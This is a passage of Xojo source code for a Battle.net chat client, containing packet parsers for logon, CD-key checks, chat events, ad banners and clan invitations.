Case Packets.SID_CLANINVITATION ret = Packets.ParseSID_CLANINVITATION(Sock, PktData) Case Packets.SID_CLANREMOVEMEMBER ret = Packets.ParseSID_CLANREMOVEMEMBER(Sock, PktData) Case Packets.SID_CLANINVITATIONRESPONSE ret = Packets.ParseSID_CLANINVITATIONRESPONSE(Sock, PktData) Case Packets.SID_CLANRANKCHANGE ret = Packets.ParseSID_CLANRANKCHANGE(Sock, PktData) Case Packets.SID_CLANMOTD ret = Packets.ParseSID_CLANMOTD(Sock, PktData) Case Packets.SID_CLANMEMBERLIST ret = Packets.ParseSID_CLANMEMBERLIST(Sock, PktData) Case Packets.SID_CLANMEMBERREMOVED ret = Packets.ParseSID_CLANMEMBERREMOVED(Sock, PktData) Case Packets.SID_CLANMEMBERSTATUSCHANGE ret = Packets.ParseSID_CLANMEMBERSTATUSCHANGE(Sock, PktData) Case Packets.SID_CLANMEMBERANKCHANGE ret = Packets.ParseSID_CLANMEMBERRANKCHANGE(Sock, PktData) Case Packets.SID_CLANMEMBERINFORMATION ret = Packets.ParseSID_CLANMEMBERINFORMATION(Sock, PktData) Case Else Sock.BadPacketCount = Sock.BadPacketCount + 1 Sock.Config.AddChat(True, Colors.Red, "BNET: Protocol error - unknown packet!") //Sock.Config.AddChatHexDump(MemClass.HexPrefix(PktID, "SID_0x", 2), PktFull) #pragma Unused PktFull ret = (Sock.BadPacketCount < 3) If ret = False Then Sock.DoDisconnect(False) End Select Return ret End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_AUTH_ACCOUNTCREATE(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If LenB(PktData) <> 4 Then Return False Dim Status As UInt32 = MemClass.ReadDWORD(PktData, 1) If Sock.Config <> Nil Then Select Case Status Case &H00 // Successfully created account name. Case &H04 // Name already exists. Sock.Config.AddChat(True, Colors.Red, "BNET: Your account already exists.") Case &H07 // Name is too short/blank. Sock.Config.AddChat(True, Colors.Red, "BNET: Your account name is too short.") Case &H08 // Name contains an illegal character. Sock.Config.AddChat(True, Colors.Red, "BNET: Your account name contains invalid characters.") Case &H09 // Name contains an illegal word. Sock.Config.AddChat(True, Colors.Red, "BNET: Your account name uses a banned word.") Case &H0A // Name contains too few alphanumeric characters. Sock.Config.AddChat(True, Colors.Red, "BNET: Your account name doesn't have enough alphanumeric characters.") Case &H0B // Name contains adjacent punctuation characters. Sock.Config.AddChat(True, Colors.Red, "BNET: Your account name contains adjacent punctuations.") Case &H0C // Name contains too many punctuation characters. Sock.Config.AddChat(True, Colors.Red, "BNET: Your account name contains too many punctuations.") Case Else // Any other: Name already exists. Sock.Config.AddChat(True, Colors.Red, "BNET: Unknown NLS create failure.") End Select End If If Status <> &H00 And Not (Status = &H04 And Sock.Config.CreateAccountsFirst = True) Then Sock.DoDisconnect(False) Return False End If Packets.SendLogonPkt(Sock, True) Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_AUTH_ACCOUNTLOGON(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If LenB(PktData) <> 68 Then Return False Dim Status As UInt32 = MemClass.ReadDWORD(PktData, 1) If Sock.Config <> Nil Then Select Case Status Case &H00 // Logon accepted, requires proof. Sock.Send(Packets.CreateSID_AUTH_ACCOUNTLOGONPROOF(Sock.NLS.AccountLogonProof(MidB(PktData, 5, 32), MidB(PktData, 37, 32)))) Case &H01 // Account doesn't exist. Sock.Config.AddChat(True, Colors.Red, "BNET: Account does not exist; ", Colors.Yellow, "creating it...") Case &H05 // Account requires upgrade. Sock.Config.AddChat(True, Colors.Red, "BNET: Account requires upgrade. (NYI)") Case Else // Unknown (failure). Sock.Config.AddChat(True, Colors.Red, "BNET: Unknown NLS logon failure.") End Select End If If Status <> &H00 And Status <> &H01 Then Sock.DoDisconnect(False) Return False ElseIf Status = &H01 Then // Try to create the account... Sock.Send(Packets.CreateSID(Packets.SID_AUTH_ACCOUNTCREATE, Sock.NLS.AccountCreate())) End If Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_AUTH_ACCOUNTLOGONPROOF(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If LenB(PktData) < 24 Then Return False Dim Status As UInt32 = MemClass.ReadDWORD(PktData, 1) Dim ServerPasswordProof As String = MemClass.ReadRaw(PktData, 5, 20) Dim MoreInfo As String = MemClass.ReadCString(PktData, 25) If Sock.NLS.ServerPasswordProof(ServerPasswordProof) = False Then If Sock.Config <> Nil Then Sock.Config.AddChat(True, Colors.Red, "BNET: Server doesn't really know your password!") Sock.DoDisconnect(False) Return False End If If Sock.Config <> Nil Then Select Case Status Case &H00, &H0E // Logon successful. (OR) An email address should be registered for this account. If Sock.BNLS <> Nil Then Sock.BNLS.Close() If Status = &H0E And LenB(Sock.Config.EmailAddress) > 0 Then Sock.Send(Packets.CreateSID_SETEMAIL(Sock.Config.EmailAddress)) If Sock.Config <> Nil Then Sock.Config.AddChat(True, Colors.Cyan, "BNET: Binded ", Colors.Teal, Sock.Config.EmailAddress, Colors.Cyan, " to the account.") End If End If Packets.SendAfterLogonSIDs(Sock) Case &H02 // Incorrect password. If Sock.Config <> Nil Then Sock.Config.AddChat(True, Colors.Red, "BNET: Your password is incorrect.") Sock.DoDisconnect(False) Return False Case &H0F // Custom error. A string at the end of this message contains the error. Sock.Config.AddChat(True, Colors.Red, "BNET: " + MoreInfo + ".") Case Else // Unknown (failure). Sock.Config.AddChat(True, Colors.Red, "BNET: Unknown NLS logon proof failure.") End Select End If If Status <> &H00 And Status <> &H0E Then Sock.DoDisconnect(False) Return False End If Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_AUTH_CHECK(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If Sock.Config = Nil Then Return False If LenB(PktData) < 5 Then Return False Dim Result As UInt32 = MemClass.ReadDWORD(PktData, 1) Dim MoreInfo As String = MemClass.ReadCString(PktData, 5) Select Case Result Case &H000 // Passed challenge Case &H100 // Old game version Sock.Config.AddChat(True, Colors.Red, "BNET: Old game version.") Case &H101 // Invalid version Sock.Config.AddChat(True, Colors.Red, "BNET: Invalid game version.") Case &H102 // Game version must be downgraded Sock.Config.AddChat(True, Colors.Red, "BNET: Game version is too new.") Case Sock.VersionByte // Invalid version code Sock.Config.AddChat(True, Colors.Red, "BNET: Invalid version byte code.") Case &H200 // CD-Key is invalid Sock.Config.AddChat(True, Colors.Red, "BNET: Your CD-Key is invalid.") Sock.Config.AddChat(True, Colors.Red, "BNET: You are probably now banned for 2 weeks.") Case &H201 // CD-Key is in use If LenB(MoreInfo) < 1 Then _ Sock.Config.AddChat(True, Colors.Red, "BNET: Your CD-Key is in use.") Else _ Sock.Config.AddChat(True, Colors.Red, "BNET: Your CD-Key is in use by " + MoreInfo + ".") Case &H202 // CD-Key is banned Sock.Config.AddChat(True, Colors.Red, "BNET: Your CD-Key is banned.") Case &H203 // CD-Key is for another game Sock.Config.AddChat(True, Colors.Red, "BNET: Your CD-Key is for another game.") Case &H210 // Expansion-set CD-Key is invalid Sock.Config.AddChat(True, Colors.Red, "BNET: Your expansion-set CD-Key is invalid.") Sock.Config.AddChat(True, Colors.Red, "BNET: You are probably now banned for 2 weeks.") Case &H211 // Expansion-set CD-Key is in use If LenB(MoreInfo) < 1 Then _ Sock.Config.AddChat(True, Colors.Red, "BNET: Your expansion-set CD-Key is in use.") Else _ Sock.Config.AddChat(True, Colors.Red, "BNET: Your expansion-set CD-Key is in use by " + MoreInfo + ".") Case &H212 // Expansion-set CD-Key is banned Sock.Config.AddChat(True, Colors.Red, "BNET: Your expansion-set CD-Key is banned.") Case &H213 // Expansion-set CD-Key is for another game Sock.Config.AddChat(True, Colors.Red, "BNET: Your expansion-set CD-Key is for another game.") Case Else // Unknown result code Sock.Config.AddChat(True, Colors.Red, "BNET: Protocol error - unknown version/cd-key check result.") End Select If Result <> &H000 Then Sock.DoDisconnect(False) Return False End If Packets.SendLogonPkt(Sock) Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_AUTH_INFO(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If Sock.Config = Nil Then Return False If LenB(PktData) < 22 Then Return False Sock.LogonType = MemClass.ReadDWORD(PktData, 1, True) Sock.ServerToken = MemClass.ReadDWORD(PktData, 5, True) Sock.UDPValue = MemClass.ReadDWORD(PktData, 9, True) Sock.MPQFiletime = MemClass.ReadQWORD(PktData, 13, True) Sock.MPQFilename = MemClass.ReadCString(PktData, 21) Sock.ValueString = MemClass.ReadCString(PktData, 22 + LenB(Sock.MPQFilename)) Sock.ServerSignature = MemClass.ReadRaw(PktData, 23 + LenB(Sock.MPQFilename + Sock.ValueString), 128) If Sock.LogonType < 0 Or Sock.LogonType > 2 Then Sock.Config.AddChat(True, Colors.Red, "BNET: Protocol error - unknown logon type! " + _ MemClass.HexPrefix(Sock.LogonType, "0x", 8)) Sock.DoDisconnect(False) Return False End If If Sock.BNUDP <> Nil And Sock.BNUDP.IsConnected = True Then Dim UDPPkt As New Datagram(), UDPData As String UDPPkt.Address = Sock.Address If InStr(Sock.Config.BNETHost, ":") <= 0 Then UDPPkt.Port = 6112 Else _ UDPPkt.Port = Val(NthField(Sock.Config.BNETHost, ":", 2)) MemClass.WriteDWORD(UDPData, Packets.PKT_CONNTEST2, True) MemClass.WriteDWORD(UDPData, Sock.ServerToken, True) MemClass.WriteDWORD(UDPData, Sock.UDPValue, True) UDPPkt.Data = UDPData Sock.BNUDP.Write(UDPPkt) End If If Packets.SendSID_AUTH_CHECK(Sock) = False Then Return False Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_CHATEVENT(Sock As BNETSocket, PktData As String) As Boolean // TODO Fix this beast If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If Sock.Config = Nil Then Return False If LenB(PktData) < 26 Then Return False Dim EventID As UInt32 = MemClass.ReadDWORD(PktData, 1) Dim Flags As UInt32 = MemClass.ReadDWORD(PktData, 5) Dim Ping As UInt32 = MemClass.ReadDWORD(PktData, 9) Dim IPAddress As UInt32 = MemClass.ReadDWORD(PktData, 13) Dim AccountNumber As UInt32 = MemClass.ReadDWORD(PktData, 17) Dim RegistrationAuthority As UInt32 = MemClass.ReadDWORD(PktData, 21) Dim Username As String = MemClass.ReadCString(PktData, 25) Dim Text As String = MemClass.ReadCString(PktData, 26 + LenB(Username)) If Sock.Config.EnableUTF8 = True Then _ Text = DefineEncoding(Text, Encodings.UTF8) #pragma Unused IPAddress #pragma Unused AccountNumber #pragma Unused RegistrationAuthority Dim dTmp As Dictionary Dim bTmp As Boolean // A timer on the MainWindow delays the users list redraw a tiny bit so that it doesn't lag so much. // The lag is caused by the code updating the list N*N times, therefore causing a small (<50ms) pause. // Delaying it until "after everything is done" reverses this to just N*1 times. // How much time to wait is determined by the lstUsersTimer's Period on MainWindow. // A significant performance increase is seen when the Period is 100ms. If MainWindow.IsConfigSelected(Sock.Config) = False And EventID <> 9 Then Sock.Config.CacheChatUnread = True Sock.Config.Container.lstUsersTimer.Reset() End If If Sock.TimingForNextChatEvent <> Nil And Sock.TimingForNextChatEvent.Left Then // calculate time elapsed Sock.TimingForNextChatEvent = New Pair(False, Microseconds() - Sock.TimingForNextChatEvent.Right) // display it Sock.Config.AddChat(True, Colors.Gray, "Time from mark to next chat event: ", _ Format((Sock.TimingForNextChatEvent.Right / 1000) - Sock.Ping, "-#.0#") + "ms.") // and reset Sock.TimingForNextChatEvent = Nil End If Select Case EventID Case &H01, &H02, &H09 If Username = Sock.UniqueName Then Sock.Flags = Flags Sock.Ping = Ping Sock.Statstring = Text End If If Sock.ChannelUsers.HasKey(Username) = True Then dTmp = Sock.ChannelUsers.Value(Username) dTmp.Value("Username") = Username dTmp.Value("FlagsOld") = dTmp.Value("Flags") dTmp.Value("Flags") = Flags dTmp.Value("Ping") = Ping If LenB(Text) > 0 Then dTmp.Value("Statstring") = Text dTmp.Value("LastMessageTime") = Microseconds() dTmp.Value("LastMessageType") = EventID dTmp.Value("LastMessage") = "" Else dTmp = New Dictionary() dTmp.Value("Username") = Username dTmp.Value("FlagsOld") = Flags dTmp.Value("Flags") = Flags dTmp.Value("Ping") = Ping dTmp.Value("Statstring") = Text dTmp.Value("LastMessageTime") = Microseconds() dTmp.Value("LastMessageType") = EventID dTmp.Value("LastMessage") = "" dTmp.Value("TimeEntered") = Microseconds() Sock.ChannelUsers.Value(Username) = dTmp If EventID = &H02 And Sock.Config.ShowJoinLeaveMessages = True Then Sock.Config.AddChat(True, Colors.DarkSeaGreen, "-- ", _ Colors.LightSeaGreen, Username, _ Colors.DarkSeaGreen, " joined the channel using ", _ Colors.LightSeaGreen, Globals.ProductName(MemClass.ReadDWORD(Text, 1, True), False)) End If End If Dim OldFlags As UInt32 = dTmp.Value("FlagsOld").Int32Value If Sock.Config.ShowUserUpdateMessages = True And Flags <> OldFlags Then If MainWindow.IsConfigSelected(Sock.Config) = False And EventID = 9 Then Sock.Config.CacheChatUnread = True Sock.Config.Container.lstUsersTimer.Reset() End If Dim cGainColor As Color = Colors.DarkSeaGreen Dim cLossColor As Color = Colors.FireBrick Dim cUserColor As Color = Globals.UserColor(Flags, Colors.UI.ListSelectionColor) If BitAnd(OldFlags, &H01) = 0 And BitAnd(Flags, &H01) > 0 Then Sock.Config.AddChat( True, cGainColor, "-- ", cUserColor, Username, cGainColor, " gained ", _ Colors.RoyalBlue, new Pair("Bold", "Blizzard representative"), cGainColor, " status" ) End If If BitAnd(OldFlags, &H02) = 0 And BitAnd(Flags, &H02) > 0 Then Sock.Config.AddChat( True, cGainColor, "-- ", cUserColor, Username, cGainColor, " gained ", _ Colors.White, new Pair("Bold", "channel operator"), cGainColor, " status" ) End If If BitAnd(OldFlags, &H04) = 0 And BitAnd(Flags, &H04) > 0 Then Sock.Config.AddChat( True, cGainColor, "-- ", cUserColor, Username, cGainColor, " gained ", _ Colors.BurlyWood, new Pair("Bold", "channel speaker"), cGainColor, " status" ) End If If BitAnd(OldFlags, &H08) = 0 And BitAnd(Flags, &H08) > 0 Then Sock.Config.AddChat( True, cGainColor, "-- ", cUserColor, Username, cGainColor, " gained ", _ Colors.LightGreen, new Pair("Bold", "Battle.net administrator"), cGainColor, " status" ) End If If BitAnd(OldFlags, &H10) = 0 And BitAnd(Flags, &H10) > 0 Then Sock.Config.AddChat( True, cLossColor, "-- ", cUserColor, Username, cLossColor, " lost ", _ Colors.Silver, new Pair("Bold", "UDP support"), cLossColor, " status" ) End If If BitAnd(OldFlags, &H20) = 0 And BitAnd(Flags, &H20) > 0 Then Sock.Config.AddChat( True, cGainColor, "-- ", cUserColor, Username, cGainColor, " gained ", _ Colors.Red, new Pair("Bold", "squelched"), cGainColor, " status" ) End If If BitAnd(OldFlags, &H40) = 0 And BitAnd(Flags, &H40) > 0 Then Sock.Config.AddChat( True, cGainColor, "-- ", cUserColor, Username, cGainColor, " gained ", _ Colors.Pink, new Pair("Bold", "guest"), cGainColor, " status" ) End If If BitAnd(OldFlags, &H01) > 0 And BitAnd(Flags, &H01) = 0 Then Sock.Config.AddChat( True, cLossColor, "-- ", cUserColor, Username, cLossColor, " lost ", _ Colors.RoyalBlue, new Pair("Bold", "Blizzard representative"), cLossColor, " status" ) End If If BitAnd(OldFlags, &H02) > 0 And BitAnd(Flags, &H02) = 0 Then Sock.Config.AddChat( True, cLossColor, "-- ", cUserColor, Username, cLossColor, " lost ", _ Colors.White, new Pair("Bold", "channel operator"), cLossColor, " status" ) End If If BitAnd(OldFlags, &H04) > 0 And BitAnd(Flags, &H04) = 0 Then Sock.Config.AddChat( True, cLossColor, "-- ", cUserColor, Username, cLossColor, " lost ", _ Colors.BurlyWood, new Pair("Bold", "channel speaker"), cLossColor, " status" ) End If If BitAnd(OldFlags, &H08) > 0 And BitAnd(Flags, &H08) = 0 Then Sock.Config.AddChat( True, cLossColor, "-- ", cUserColor, Username, cLossColor, " lost ", _ Colors.LightGreen, new Pair("Bold", "Battle.net administrator"), cLossColor, " status" ) End If If BitAnd(OldFlags, &H10) > 0 And BitAnd(Flags, &H10) = 0 Then Sock.Config.AddChat( True, cGainColor, "-- ", cUserColor, Username, cGainColor, " gained ", _ Colors.Silver, new Pair("Bold", "UDP support"), cGainColor, " status" ) End If If BitAnd(OldFlags, &H20) > 0 And BitAnd(Flags, &H20) = 0 Then Sock.Config.AddChat( True, cLossColor, "-- ", cUserColor, Username, cLossColor, " lost ", _ Colors.Red, new Pair("Bold", "squelched"), cLossColor, " status" ) End If If BitAnd(OldFlags, &H40) > 0 And BitAnd(Flags, &H40) = 0 Then Sock.Config.AddChat( True, cLossColor, "-- ", cUserColor, Username, cLossColor, " lost ", _ Colors.Pink, new Pair("Bold", "guest"), cLossColor, " status" ) End If End If If MainWindow.GetSelectedConfig() = Sock.Config Then Sock.Config.Container.lstUsersTimer.Reset() Case &H03 If Sock.ChannelUsers.HasKey(Username) = True Then Sock.ChannelUsers.Remove(Username) If Sock.Config.ShowJoinLeaveMessages = True Then Sock.Config.AddChat(True, Colors.FireBrick, "-- ", Colors.Crimson, Username, Colors.FireBrick, " left the channel") End If If MainWindow.GetSelectedConfig() = Sock.Config Then Sock.Config.Container.lstUsersTimer.Reset() End If Case &H04 dTmp = Sock.ChannelUsers.Lookup(Username, Nil) If dTmp <> Nil Then dTmp.Value("LastMessageTime") = Microseconds() dTmp.Value("LastMessageType") = EventID dTmp.Value("LastMessage") = Text End If If BitAnd(Flags, &H20) <= 0 Then Globals.DesktopNotification("Whisper received from " + Username, Text, 0) If MainWindow.IsConfigSelected(Sock.Config) = False Then Sock.Config.CacheChatMention = True Sock.Config.Container.lstUsersTimer.Reset() End If Sock.Config.AddChat(True, Colors.GoldenRod, "From ", Colors.Gold, Username, Colors.GoldenRod, ": ", Colors.SlateGray, Text) End If Case &H05 If Sock.Config.SpamPrevention = True Then dTmp = Sock.ChannelUsers.Lookup(Username, Nil) bTmp = (Sock.Config.SpamPrevention = True And dTmp <> Nil And dTmp.Value("TimeEntered").DoubleValue + 400000 > Microseconds()) // If bTmp = True then they are talking at most 0.4 seconds after entering. If dTmp <> Nil Then If bTmp = False And Sock.Config.SpamPrevention = True And Text = dTmp.Value("LastMessage") Then bTmp = True dTmp.Value("LastMessageTime") = Microseconds() dTmp.Value("LastMessageType") = EventID dTmp.Value("LastMessage") = Text End If // If bTmp = True now then they may also be repeating their message. If bTmp = False And Globals.MessageBlacklistMatch(Text) = True Then bTmp = True // If bTmp = True now then the message may even also be on the blacklist If BitAnd(Flags, &H20) <= 0 And bTmp = False Then If InStr(Text, Sock.UniqueName) > 0 Or InStr(Text, Sock.AccountName) > 0 Then Globals.DesktopNotification("Mentioned by " + Username, Text, 0) If MainWindow.IsConfigSelected(Sock.Config) = False Then Sock.Config.CacheChatMention = True Sock.Config.Container.lstUsersTimer.Reset() End If End If Sock.Config.AddChat(True, Globals.UserColor(Flags, Colors.Yellow), Username, Colors.Yellow, ": ", Colors.AliceBlue, Text) End If If MainWindow.GetSelectedConfig() = Sock.Config And _ Sock.Config.Container.lstUsers_View = ChatContainer.lstUsers_View_Channel_Activity Then _ Sock.Config.Container.lstUsersTimer.Reset() Case &H06 If Username <> "Battle.net" And LenB(Username) > 0 Then Sock.Config.AddChat(True, Colors.Cyan, "Server broadcast from ", Colors.Teal, Username, _ Colors.Cyan, ": ", Colors.Silver, Text) Else Sock.Config.AddChat(True, Colors.Cyan, "Server broadcast: ", Colors.Silver, Text) End If Case &H07 Sock.ChannelFlags = Flags Sock.ChannelName = Text Sock.ChannelUsers.Clear() #If DebugBuild Then Sock.TimingForNextChatEvent = New Pair(True, Microseconds()) #EndIf If MainWindow.GetSelectedConfig() = Sock.Config Then Sock.Config.Container.lstUsers_View = Sock.Config.Container.lstUsers_View Sock.Config.AddChat(True, Colors.LightSeaGreen, "-- Entered channel: ", Colors.Aquamarine, Sock.ChannelName, _ Colors.SlateGray, " (" + Globals.SChannelFlags(Sock.ChannelFlags) + ")") Case &H0A #If DebugBuild Then Sock.TimingForNextChatEvent = New Pair(True, Microseconds()) #EndIf dTmp = Sock.ChannelUsers.Lookup(Username, Nil) If dTmp <> Nil Then dTmp.Value("LastMessageTime") = Microseconds() dTmp.Value("LastMessageType") = EventID dTmp.Value("LastMessage") = Text End If If BitAnd(Flags, &H20) <= 0 Then Sock.Config.AddChat(True, Colors.MediumVioletRed, "To ", Colors.MediumOrchid, Username, Colors.MediumVioletRed, ": ", Colors.SlateGray, Text) End If Case &H0D // full Sock.Config.AddChat(True, Colors.FireBrick, "BNET: The channel ", Colors.Crimson, Text, Colors.FireBrick, " is full.") Case &H0E // empty Sock.Config.AddChat(True, Colors.FireBrick, "BNET: The channel ", Colors.Crimson, Text, Colors.FireBrick, " is empty", _ Colors.GoldenRod, "; forcing join...") Sock.Send(Packets.CreateSID_JOINCHANNEL(&H2, Text)) Case &H0F // restricted Sock.Config.AddChat(True, Colors.FireBrick, "BNET: The channel ", Colors.Crimson, Text, Colors.FireBrick, " is restricted.") Case &H12 Dim showLine As Boolean If Sock.Config.IgnoreBanKickUnban = True And _ (InStr(Text, "was unbanned by") > 0 Or _ InStr(Text, "was banned by") > 0 Or _ InStr(Text, "was kicked out of the channel by") > 0) Then showLine = False ElseIf Sock.Config.ShowUserUpdateMessages = True And _ (Right(Text, Len(" has been squelched.")) = " has been squelched." Or _ Right(Text, Len(" has been unsquelched.")) = " has been unsquelched.") Then showLine = False Else showLine = True End If If showLine = True Then For Each Line As String In Split(ReplaceLineEndings(Text, EndOfLine), EndOfLine) Sock.Config.AddChat(True, Colors.GoldenRod, Line) Next End If If Sock.Config.AutoRejoinWhenKicked = True And LenB(Sock.ChannelName) > 0 And _ Right(Text, Len("kicked you out of the channel!")) = "kicked you out of the channel!" Then _ Sock.Send(Packets.CreateSID_JOINCHANNEL(&H2, Sock.ChannelName)) Case &H13 For Each Line As String In Split(ReplaceLineEndings(Text, EndOfLine), EndOfLine) Sock.Config.AddChat(True, Colors.FireBrick, Line) Next Case &H17 If Sock.Config.SpamPrevention = True Then dTmp = Sock.ChannelUsers.Lookup(Username, Nil) bTmp = (Sock.Config.SpamPrevention = True And dTmp <> Nil And dTmp.Value("TimeEntered").DoubleValue + 400000 > Microseconds()) // If bTmp = True then they are talking at most 0.4 seconds after entering. If dTmp <> Nil Then If bTmp = False And Sock.Config.SpamPrevention = True And Text = dTmp.Value("LastMessage") Then bTmp = True dTmp.Value("LastMessageTime") = Microseconds() dTmp.Value("LastMessageType") = EventID dTmp.Value("LastMessage") = Text End If // If bTmp = True now then they may also be repeating their message. If bTmp = False And Globals.MessageBlacklistMatch(Text) = True Then bTmp = True // If bTmp = True now then the message may even also be on the blacklist If BitAnd(Flags, &H20) <= 0 And bTmp = False Then Dim userColor, accent As Color If Username = Sock.UniqueName Then userColor = Colors.MediumOrchid accent = Colors.MediumVioletRed Else userColor = Colors.Yellow accent = Colors.Orange End If userColor = Globals.UserColor(Flags, userColor) Sock.Config.AddChat(True, accent, "-- ", userColor, Username, accent, " ", userColor, Text) End If If MainWindow.GetSelectedConfig() = Sock.Config And _ Sock.Config.Container.lstUsers_View = ChatContainer.lstUsers_View_Channel_Activity Then _ Sock.Config.Container.lstUsersTimer.Reset() Case Else Sock.Config.AddChat(True, Colors.Red, "BNET: Protocol error - unknown chat event.") End Select Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_CHECKAD(Sock As BNETSocket, PktData As String) As Boolean '(UINT32) Ad ID '(UINT32) File extension '(FILETIME) Local file time '(STRING) Filename '(STRING) Link URL If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If LenB(PktData) < 18 Then Return False Dim adId As UInt32 = MemClass.ReadDWORD(PktData, 1) Dim adFileExtension As String = ReplaceAll(MemClass.ReadRaw(PktData, 5, 4), ChrB(0), "") Dim adModifiedTimeL As UInt32 = MemClass.ReadQWORD(PktData, 9) Dim adModifiedTimeH As UInt32 = MemClass.ReadQWORD(PktData, 13) Dim adFileName As String = MemClass.ReadCString(PktData, 17) Dim adUrl As String = MemClass.ReadCString(PktData, 18 + LenB(adFileName)) Sock.LastAdId = adId Sock.LastAdTime = Globals.GetUnixTimestamp() If Sock.Config <> Nil Then Sock.Config.AddChat(True, Colors.Gray, "BNET: Current advertisement banner: [Id: 0x" + Right("0000000" + Hex(adId), 8) + "]") Sock.Config.AddChat(True, Colors.Gray, "-- Ad file: " + adFileName _ + IIf(LenB(adFileExtension) > 0, " (extension: " + adFileExtension + ")", "")) Sock.Config.AddChat(True, Colors.Gray, "-- Ad url: " + adUrl) If adModifiedTimeL = 0 And adModifiedTimeH = 0 Then Sock.Config.AddChat(True, Colors.Gray, "-- Error: File does not exist") Else Dim adModifiedDate As Date = Globals.WindowsFileTimeToDate(adModifiedTimeL, adModifiedTimeH) Sock.Config.AddChat(True, Colors.Gray, "-- Last written: " + adModifiedDate.ShortDate + " " + adModifiedDate.LongTime) End If End If Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_CLANCREATIONINVITATION(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If LenB(PktData) < 12 Then Return False Dim Cookie As UInt32 = MemClass.ReadDWORD(PktData, 1, True) Dim ClanTag As UInt32 = MemClass.ReadDWORD(PktData, 5, True) Dim ClanName As String = MemClass.ReadCString(PktData, 9) Dim Inviter As String = MemClass.ReadCString(PktData, 10 + LenB(ClanName)) Dim MemberCount As Byte = MemClass.ReadByte(PktData, 11 + LenB(ClanName + Inviter)) Dim Members() As String Dim i As Integer = 12 + LenB(ClanName + Inviter) While UBound(Members) + 1 < MemberCount Members.Append(MemClass.ReadCString(PktData, i)) i = i + 1 + LenB(Members(UBound(Members))) Wend Dim w As New ClanCreationInvitationWindow() Dim ret As Byte = &H00 w.fldClanName.Text = ClanName w.fldClanTag.Text = Globals.SClanTag(ClanTag) w.fldClanInviter.Text = Inviter For i = 0 To UBound(Members) w.lstMembers.AddRow(Members(i)) Next w.ShowModal() If w <> Nil Then If w.Result = w.btnAccept Then ret = &H06 ElseIf w.Result = w.btnDecline Then ret = &H04 ElseIf w.Result = w.btnIgnore Then ret = &H00 End If w.Close() End If If ret <> &H00 Then Sock.Send(Packets.CreateSID_CLANCREATIONINVITATION(Cookie, ClanTag, Inviter, ret)) Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_CLANDISBAND(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If LenB(PktData) <> 5 Then Return False Dim Cookie As UInt32 = MemClass.ReadDWORD(PktData, 1, True) Dim Result As Byte = MemClass.ReadBYTE(PktData, 5) If Cookie <> 0 Then Return False Select Case Result Case &H00 // Successfully disbanded the clan Sock.Config.AddChat(True, Colors.Lime, "BNET: The clan was successfully disbanded.") Case &H04 // Cannot quit clan, not one week old yet Sock.Config.AddChat(True, Colors.Red, "BNET: The clan is too new for it to be disbanded.") Case &H05 // Not authorized to disband the clan Sock.Config.AddChat(True, Colors.Red, "BNET: You are not authorized to disband the clan.") Case Else Sock.Config.AddChat(True, Colors.Red, "BNET: Failed to disband clan (", Colors.Maroon, _ MemClass.HexPrefix(Result, "0x", 2), Colors.Red, ").") End Select If Result = &H00 Then Sock.ClanMembers.Clear() Sock.ClanRank = 0 Sock.ClanTag = 0 If MainWindow.GetSelectedConfig() = Sock.Config And Sock.Config.Container.lstUsers_Viewing_Clan() Then _ Sock.Config.Container.lstUsers_View = Sock.Config.Container.lstUsers_View End If Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_CLANINFO(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If LenB(PktData) <> 6 Then Return False // (BYTE) Unknown (0) Sock.ClanTag = MemClass.ReadDWORD(PktData, 2, True) Sock.ClanRank = MemClass.ReadBYTE(PktData, 6) If Sock.Config <> Nil Then Sock.Config.AddChat(True, Colors.Cyan, "BNET: You are a ", Colors.Teal, Globals.ClanRankName(Sock.ClanRank), _ Colors.Cyan, " in ", Colors.Teal, "Clan " + Globals.SClanTag(Sock.ClanTag), Colors.Cyan, ".") End If Sock.Send(Packets.CreateSID_CLANMEMBERLIST(0)) Dim Cookie As New Cookie( Cookie.TypeClanMotd ) Sock.Send( Packets.CreateSID_CLANMOTD( Cookie.Cookie )) Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID_CLANINVITATION(Sock As BNETSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If LenB(PktData) <> 5 Then Return False Dim CookieId As UInt32 = MemClass.ReadDWORD(PktData, 1, True) Dim Result As Byte = MemClass.ReadBYTE(PktData, 5) Dim Cookie As Cookie = Cookie.Lookup(CookieId, True) If Cookie = Nil Then Sock.Config.AddChat(True, Colors.Red, "BNET: Received unknown clan invitation reply.") Return True End If Dim Username As String = Cookie.Value("Username") Select Case Result Case &H00 // Invitation accepted Sock.Config.AddChat(True, Colors.Lime, "BNET: Clan invitation to ", Colors.Green, Username, Colors.Lime, " accepted.") Case &H04 // Invitation declined Sock.Config.AddChat(True, Colors.Red, "BNET: Clan invitation to ", Colors.Maroon, Username, Colors.Red, " rejected.") Case &H05 // Failed to invite user Sock.Config.AddChat(True, Colors.Red, "BNET: Clan invitation to ", Colors.Maroon, Username, Colors.Red, " failed.") Case &H09 // Clan is full Sock.Config.AddChat(True, 